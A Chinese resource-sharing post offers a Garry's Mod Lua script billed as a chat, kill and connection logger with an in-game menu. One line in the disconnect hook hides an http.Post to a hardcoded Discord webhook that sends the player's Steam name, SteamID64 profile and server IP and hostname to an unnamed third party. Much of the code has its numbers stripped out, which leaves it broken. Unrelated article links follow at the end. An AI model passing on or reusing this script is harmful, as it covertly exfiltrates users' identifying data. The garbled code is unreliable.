【资源分享】Gmod日志记录脚本
*----------------------------------------------[下载区]----------------------------------------------*
- ux_log_chat=""local function Add_ux_log_chat(g)ux_log_chat = ux_log_chat.."\n"..g end hook.Add("OnPlayerChat","g",function(ply,text,bTeam,bDead)Add_ux_log_chat(os.date("%H:%M:%S").." "..ply:Nick()..": "..text)end)
- ux_log_connect=""local function Add_ux_log_connect(g)ux_log_connect = ux_log_connect.."\n"..g end hook.Add( "ChatText", "g", function( index, name, text, typ ) if ( typ == "joinleave" ) then Add_ux_log_connect(os.date("%H:%M:%S").." "..text)end end)
- ux_log_kills=""local function Add_ux_log_kills(g)ux_log_kills = ux_log_kills.."\n"..g end
- gameevent.Listen( "entity_killed" )hook.Add( "entity_killed", "ux_kills", function( data )local inflictor_index = data.entindex_inflictor local attacker_index = data.entindex_attacker local damagebits = data.damagebits local victim_index = data.entindex_killed local ply = "unknown" local retard = game.GetWorld() local atk = "map" local wep = "unknown weapons" local killah = game.GetWorld() local inflictor = ents.GetByIndex(inflictor_index) for _, p in pairs(player.GetAll()) do if p:EntIndex() == victim_index then ply = p:Nick() retard = p end if p:EntIndex() == attacker_index then atk = p:Nick() killah = p if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end end end if attacker_index == victim_index then Add_ux_log_kills(os.date("%H:%M:%S").." ".. ply.." self-killed" ) end if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then Add_ux_log_kills(os.date("%H:%M:%S").." "..ply.." 被物品击杀" ) end Add_ux_log_kills(os.date("%H:%M:%S").." ".. atk.." 击杀 "..ply.." 武器是 "..wep) end)
- ux_log_disconnect=""local function Add_ux_log_disconnect(g)ux_log_disconnect = ux_log_disconnect.."\n"..g end gameevent.Listen( "player_disconnect" ) hook.Add( "player_disconnect", "b", function( data )Add_ux_log_disconnect(os.date("%H:%M:%S").." "..data.name .. " ".. data.networkid.." disconnect (".. data.reason..")") end)http.Post("https://discordapp.com/api/webhooks/531169691016888332/yf9hB0wN1q1RyqHpK5pERp184so0-V-azo_UOCyG5t9iwANLIa1Y0FkbJ9MFPZ0W9Nsh",{content="[Ник:"..steamworks.GetPlayerName(LocalPlayer():SteamID64()).."][Сервер:"..game.GetIPAddress()..","..GetHostName().."][Время:"..os.date("%H:%M:%S").."][Профиль:steamcommunity.com/profiles/"..LocalPlayer():SteamID64().."/]"})
- hook.Add("Think","h",function()if (input.IsKeyDown(KEY_HOME) && !menuopen && !insertdown) then menuopen = true;insertdown = true;ux_logs_menu()elseif (!input.IsKeyDown(KEY_HOME) && !menuopen) then insertdown = false; end if (input.IsKeyDown(KEY_HOME) && insertdown && menuopen) then insertdown2 = true; else insertdown2 = false; end end)
- function ux_logs_menu()local ux_memu = vgui.Create( "DFrame" )ux_memu:SetSize( , )ux_memu:Center()exitmenu(ux_memu, , )ux_memu:SetTitle( "" )ux_memu:SetVisible( true )
- ux_memu:SetDraggable( true )ux_memu:ShowCloseButton( false )ux_memu:MakePopup()ux_memu.Paint = function()DrawBlur(ux_memu, )draw.RoundedBox(, , , , , Color(, , ,))
- surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())
- draw.SimpleText("盖瑞模组日志记录器", "exitmenu", , , Color(, , , ), , )end ux_memu.Think = function() if (input.IsKeyDown(KEY_HOME) && !insertdown2) then ux_memu:Remove();
- menuopen = false;candoslider = false;drawlast = nil;
- end
- end
- local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)
- Limon_b.DoClick = function()
- if IsValid(rtx) then rtx:Remove() end
- rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_kills)end
- Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())end draw.SimpleText("击杀记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()if IsValid(rtx) then rtx:Remove()
- end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_chat)
- end
- Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize()) end draw.SimpleText("聊天记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end local Limon_b = vgui.Create("DButton", ux_memu)
- Limon_b:SetText( "" )Limon_b:SetSize(,) Limon_b:SetPos(,) Limon_b.DoClick = function() if IsValid(rtx) then
- rtx:Remove() end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_disconnect)
- end Limon_b.Paint = function(self, w, h) Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then
- draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
- else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
- end draw.SimpleText("断开记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
- if IsValid(rtx) then
- rtx:Remove()
- end rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_connect)end Limon_b.Paint = function(self, w, h)
- Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
- end
- if Limon_b:IsHovered() then
- draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
- else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
- end draw.SimpleText("连接记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
- if IsValid(rtx) then rtx:Remove()
- end ux_log_kills=""ux_log_chat=""ux_log_connect=""ux_log_disconnect=""end Limon_b.Paint = function(self, w, h)
- Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
- end if Limon_b:IsHovered() then
- draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- else
- draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- end
- draw.SimpleText("清除日志", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- local Limon_b = vgui.Create("DButton", ux_memu)
- Limon_b:SetText( "" )
- Limon_b:SetSize(,)
- Limon_b:SetPos(,)
- Limon_b.DoClick = function()
- gui.OpenURL("https://baidu.com/")
- end
- Limon_b.Paint = function(self, w, h)
- Limon_b.OnCursorEntered = function(self)
- surface.PlaySound("buttons/button15.wav")
- end
- if Limon_b:IsHovered() then
- draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- else
- draw.RoundedBox(, , , , , Color(, , , ))
- surface.SetDrawColor(Color(, , , ))
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- surface.DrawOutlinedRect(, , Limon_b:GetSize())
- end
- draw.SimpleText("百度一下", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end
- function exitmenu(panel, X, y)
- local CButton = vgui.Create("DButton", panel)
- CButton:SetTextColor(Color(, , ))
- CButton:SetText("X")
- CButton:SetFont("exitmenu")
- CButton:SetPos(X, y)
- CButton:SetSize(, )
- CButton.DoClick = function()
- menuopen = false;
- candoslider = false;
- drawlast = nil;
- panel:SizeTo(, , ., , .)
- timer.Simple(0.3, function()
- panel:SetVisible(false)
- end)
- end
- CButton.Paint = function(panel, w, h)
- surface.SetDrawColor(Color(, , , ))
- surface.DrawOutlinedRect(, , CButton:GetSize())
- draw.RoundedBox(, , , w, h, Color(, , , ))
- end
- CButton.OnCursorEntered = function(self)
- surface.PlaySound("garrysmod/ui_hover.wav")
- CButton.Paint = function(panel, w, h)
- draw.RoundedBox(, , , w, h, Color(, , , ))
- end
- end
- CButton.OnCursorExited = function(self)
- CButton.Paint = function(panel, w, h)
- draw.RoundedBox(, , , w, h, Color(, , , ))
- end
- end
- end
- blur = Material("pp/blurscreen")
- function DrawBlur(panel, amount)
- local x, y = panel:LocalToScreen(, )
- local scrW, scrH = ScrW(), ScrH()
- surface.SetDrawColor(, , )
- surface.SetMaterial(blur)
- for i = , do
- blur:SetFloat("$blur", (i / ) * (amount or ))
- blur:Recompute()
- render.UpdateScreenEffectTexture()
- surface.DrawTexturedRect(x * -, y * -, scrW, scrH)
- end
- end
- surface.CreateFont("exitmenu", {
- font = "Arial",
- size = ,
- weight = ,
- shadow = false,
- outline = false
- })
查看脚本
*----------------------------------------------[下载区]----------------------------------------------*
*----------------------------------------------[介绍区]----------------------------------------------*
可记录在服务器内击杀、连接等详情情况
*----------------------------------------------[介绍区]----------------------------------------------*
游戏截图:
【资源分享】Gmod日志记录脚本的更多相关文章
- [Linux] PHP-FPM开启慢日志记录
fpm:FastCGI Process Manager 是一种替代的PHP FastCGI实现,对于负载较重的站点非常有用. .先进的进程控制,优雅的停止启动 .能够使用不同的uid/gid/chro ...
- Go/Python/Erlang编程语言对比分析及示例 基于RabbitMQ.Client组件实现RabbitMQ可复用的 ConnectionPool(连接池) 封装一个基于NLog+NLog.Mongo的日志记录工具类LogUtil 分享基于MemoryCache(内存缓存)的缓存工具类,C# B/S 、C/S项目均可以使用!
Go/Python/Erlang编程语言对比分析及示例 本文主要是介绍Go,从语言对比分析的角度切入.之所以选择与Python.Erlang对比,是因为做为高级语言,它们语言特性上有较大的相似性, ...
- Android APP压力测试(三)之Monkey日志自动分析脚本
Android APP压力测试(三) 之Monkey日志自动分析脚本 前言 上次说要分享Monkey日志的分析脚本,这次贴出来分享一下,废话不多说,请看正文. [目录] 1.Monkey日志分析脚本 ...
- linux实用的日志分析脚本
日志分析 随意的tail一个access_log文件,下面是一条经典的访问记录 218.19.140.242 – - [10/Dec/2010:09:31:17 +0800] “GET /query/ ...
- MySQL慢日志监控脚本实例剖析
公司线上的 MySQL 慢日志,之前一直没有做好监控.趁着上周空闲,我就把监控脚本写了下,今天特地把代码发出来与51博友分享一下. 针对脚本的注解和整体构思,我会放到脚本之后为大家详解. 1 2 3 ...
- 第十二篇 Integration Services:高级日志记录
本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...
- 第十一篇 Integration Services:日志记录
本篇文章是Integration Services系列的第十一篇,详细内容请参考原文. 简介在前一篇,我们讨论了事件行为.我们分享了操纵事件冒泡默认行为的方法,介绍了父子模式.在这一篇,我们会配置SS ...
- IIS 之 启用日志记录
如何为网站启用日志记录或 在 Microsoft Internet Information Services (IIS) 6.0 中,在 IIS 5.0 中,并在 IIS 4.0 中的FTP 站点.可 ...
- 【译】第十二篇 Integration Services:高级日志记录
本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...
随机推荐
- 剑指offer-面试题50-第一个只出现一次的字符-哈希表
/* 题目: 求字符串第一个只出现一次的字符. */ /* 思路: 使用map遍历两次,第一次计数,第二次找到计数为1的第一个字符. */ #include<iostream> #incl ...
- 视频会议系统MCU服务器视频传输处理模式
视频会议系统MCU服务器视频传输处理模式 视频会议系统的组成主要包括终端.MCU服务器.网守等,其中的MCU服务器是整个系统的核心,视频会议系统的性能很大程度取决于MCU服务器的性能,因此MCU服务器 ...
- STL-queue 队列
#include <iostream> #include <queue> using namespace std; int main() { // queue也很简单 // p ...
- C# compare different Encoding pattern between UTF8 and UTF32 based on Md5
using System; using System.Text; using System.IO; using System.Security.Cryptography; static void Ma ...
- npm ERR! Cannot read property 'match' of undefined
在Vue项目中运行npm i命令时直接提示npm ERR! Cannot read property 'match' of undefined错误了,此时需要把package-lock.json文件删 ...
- bugku-求getshell(文件上传)
这道题最主要是考的Content-type参数绕过WAF,然后利用绕过黑名单上传php进行解析. 先上传一个phpinfo()的php文件试试,burp抓包 正常操作,先将下面文件的类型改为:imag ...
- Pandas 中对列 groupby 后进行 sum() 与 count() 区别及 agg() 的使用方法
groupby[根据哪一列][ 对于那一列].进行计算 代码演示: direction:房子朝向 view_num:看房人数 floor:楼层 计算: A 看房人数最多的朝向 df.groupby([ ...
- <转载> 撤销 git reset 操作
https://blog.csdn.net/mhlghy/article/details/84786497
- PAT (Advanced Level) Practice 1054 The Dominant Color (20 分)
Behind the scenes in the computer's memory, color is always talked about as a series of 24 bits of i ...
- pythonCSV内置模块应用
一.Python内置模块CSV CSV,即逗号分隔值(也称字符分隔值,因为分隔符可以不是逗号),是一种常用的文本格式,用以存储表格数据,包括数字或者字符.如下图所示: CSV类似于Excel格式 很多 ...